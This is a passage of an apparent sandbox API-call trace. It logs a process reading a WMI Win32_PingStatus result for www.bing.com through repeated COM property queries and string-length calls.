Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59fe800 | out: ppvObject=0x59fe800*=0x5ccc608) returned 0x0 [0140.134] IUnknown:AddRef (This=0x5ccc608) returned 0x4 [0140.134] IUnknown:Release (This=0x5ccc608) returned 0x3 [0140.134] IUnknown:Release (This=0x5ccc608) returned 0x2 [0140.134] CoTaskMemFree (pv=0x5d09870) [0140.134] CoGetContextToken (in: pToken=0x59feb44 | out: pToken=0x59feb44) returned 0x0 [0140.134] IUnknown:AddRef (This=0x5ccc608) returned 0x3 [0140.135] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fee44*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59feec4*=0, plFlavor=0x59feec0*=0 | out: pVal=0x59fee44*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x59feec4*=3, plFlavor=0x59feec0*=64) returned 0x0 [0140.135] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fee28*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59feeac*=0, plFlavor=0x59feea8*=0 | out: pVal=0x59fee28*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x59feeac*=8, plFlavor=0x59feea8*=64) returned 0x0 [0140.135] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.135] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.136] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e4 [0140.136] SetEvent (hEvent=0x3f0) returned 1 [0140.136] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fee00*=0x4e4, lpdwindex=0x59fec24 | out: lpdwindex=0x59fec24) returned 0x0 [0140.140] CoGetContextToken (in: pToken=0x59fecd4 | out: pToken=0x59fecd4) returned 0x0 [0140.140] CoGetContextToken (in: pToken=0x59fec34 | out: pToken=0x59fec34) returned 0x0 [0140.140] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x59fed04*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fed00 | out: ppvObject=0x59fed00*=0x5cdcd68) returned 0x0 [0140.140] WbemDefPath:IUnknown:AddRef (This=0x5cdcd68) returned 0x3 [0140.140] WbemDefPath:IUnknown:Release (This=0x5cdcd68) returned 0x2 [0140.140] WbemDefPath:IWbemPath:SetText (This=0x5cdcd68, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0140.141] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fee80 | out: puCount=0x59fee80*=0x2) returned 0x0 [0140.141] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee7c*=0x0, pszText=0x0 | out: puBuffLength=0x59fee7c*=0xf, pszText=0x0) returned 0x0 [0140.141] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee7c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fee7c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.141] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0140.141] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0140.141] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.141] IWbemClassObject:Get (in: This=0x5ccc608, wszName="Address", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285aea8*=0, plFlavor=0x285aeac*=0 | out: pVal=0x59fede4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x285aea8*=8, plFlavor=0x285aeac*=0) returned 0x0 [0140.141] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.141] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.141] IWbemClassObject:Get (in: This=0x5ccc608, wszName="Address", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285aea8*=8, plFlavor=0x285aeac*=0 | out: pVal=0x59fedec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x285aea8*=8, plFlavor=0x285aeac*=0) returned 0x0 [0140.141] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.141] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.142] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0140.142] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0140.142] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.142] IWbemClassObject:Get (in: This=0x5ccc608, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285af5c*=0, plFlavor=0x285af60*=0 | out: pVal=0x59fede4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285af5c*=19, plFlavor=0x285af60*=0) returned 0x0 [0140.143] IWbemClassObject:Get (in: This=0x5ccc608, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285af5c*=19, plFlavor=0x285af60*=0 | out: pVal=0x59fedec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285af5c*=19, plFlavor=0x285af60*=0) returned 0x0 [0140.143] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0140.143] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0140.143] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.143] IWbemClassObject:Get (in: This=0x5ccc608, wszName="StatusCode", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285aff0*=0, plFlavor=0x285aff4*=0 | out: pVal=0x59fede4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285aff0*=19, plFlavor=0x285aff4*=0) returned 0x0 [0140.143] IWbemClassObject:Get (in: This=0x5ccc608, wszName="StatusCode", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285aff0*=19, plFlavor=0x285aff4*=0 | out: pVal=0x59fedec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285aff0*=19, plFlavor=0x285aff4*=0) returned 0x0 [0140.147] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0140.147] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0140.147] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.147] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285b4ec*=0, plFlavor=0x285b4f0*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x285b4ec*=8, plFlavor=0x285b4f0*=64) returned 0x0 [0140.147] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.147] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.147] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285b4ec*=8, plFlavor=0x285b4f0*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x285b4ec*=8, plFlavor=0x285b4f0*=64) returned 0x0 [0140.147] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.147] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.147] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0140.147] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0140.147] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.147] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285b588*=0, plFlavor=0x285b58c*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x285b588*=8, plFlavor=0x285b58c*=64) returned 0x0 [0140.147] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.147] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.147] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285b588*=8, plFlavor=0x285b58c*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x285b588*=8, plFlavor=0x285b58c*=64) returned 0x0 [0140.148] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.148] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.148] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0140.148] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0140.148] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.148] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285b6e4*=0, plFlavor=0x285b6e8*=0 | out: pVal=0x59feb30*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd3388*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09950, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x285b6e4*=8200, plFlavor=0x285b6e8*=64) returned 0x0 [0140.148] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285b6e4*=8200, plFlavor=0x285b6e8*=64 | out: pVal=0x59feb38*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd33b8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09950, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x285b6e4*=8200, plFlavor=0x285b6e8*=64) returned 0x0 [0140.149] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0140.149] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0140.149] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.149] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285b94c*=0, plFlavor=0x285b950*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x285b94c*=8, plFlavor=0x285b950*=64) returned 0x0 [0140.149] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.149] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.149] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285b94c*=8, plFlavor=0x285b950*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x285b94c*=8, plFlavor=0x285b950*=64) returned 0x0 [0140.149] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.149] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.149] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0140.149] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0140.149] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.149] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ba74*=0, plFlavor=0x285ba78*=0 | out: pVal=0x59feb30*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd3388*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09950, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x285ba74*=8200, plFlavor=0x285ba78*=64) returned 0x0 [0140.149] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285ba74*=8200, plFlavor=0x285ba78*=64 | out: pVal=0x59feb38*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd33b8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09950, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x285ba74*=8200, plFlavor=0x285ba78*=64) returned 0x0 [0140.153] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0140.153] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe75c*=0xf, pszText=0x0) returned 0x0 [0140.153] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe75c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.153] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0140.153] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe75c*=0xf, pszText=0x0) returned 0x0 [0140.153] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe75c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.153] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe768*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe75c | out: pNames=0x59fe75c*="\x01ƀ\x04") returned 0x0 [0140.153] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.153] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.153] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe5f4 | out: plLbound=0x59fe5f4) returned 0x0 [0140.154] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.154] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.154] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.154] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.154] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.154] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.154] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.154] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.154] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.154] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.154] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.154] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.154] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.154] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.154] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.154] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.154] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.154] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.154] SysStringByteLen (bstr="__PATH") returned 0xc [0140.154] SysStringByteLen (bstr="__PATH") returned 0xc [0140.155] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285d2b4*=0, plFlavor=0x285d2b8*=0 | out: pVal=0x59fe758*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x285d2b4*=3, plFlavor=0x285d2b8*=64) returned 0x0 [0140.155] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285d3bc*=0, plFlavor=0x285d3c0*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x285d3bc*=8, plFlavor=0x285d3c0*=64) returned 0x0 [0140.155] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.155] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.155] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285d450*=0, plFlavor=0x285d454*=0 | out: pVal=0x59fe758*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285d450*=8, plFlavor=0x285d454*=64) returned 0x0 [0140.155] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285d514*=0, plFlavor=0x285d518*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x285d514*=8, plFlavor=0x285d518*=64) returned 0x0 [0140.155] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.156] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.156] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285d5a8*=0, plFlavor=0x285d5ac*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x285d5a8*=8, plFlavor=0x285d5ac*=64) returned 0x0 [0140.156] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.156] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.156] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285d7e8*=0, plFlavor=0x285d7ec*=0 | out: pVal=0x59fe758*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x285d7e8*=3, plFlavor=0x285d7ec*=64) returned 0x0 [0140.156] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285d930*=0, plFlavor=0x285d934*=0 | out: pVal=0x59fe758*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09950, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x285d930*=8200, plFlavor=0x285d934*=64) returned 0x0 [0140.156] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285d9a0*=0, plFlavor=0x285d9a4*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x285d9a0*=8, plFlavor=0x285d9a4*=64) returned 0x0 [0140.156] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.156] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.156] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285da28*=0, plFlavor=0x285da2c*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x285da28*=8, plFlavor=0x285da2c*=64) returned 0x0 [0140.157] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.157] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.157] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285dafc*=0, plFlavor=0x285db00*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x285dafc*=8, plFlavor=0x285db00*=64) returned 0x0 [0140.157] SysStringByteLen 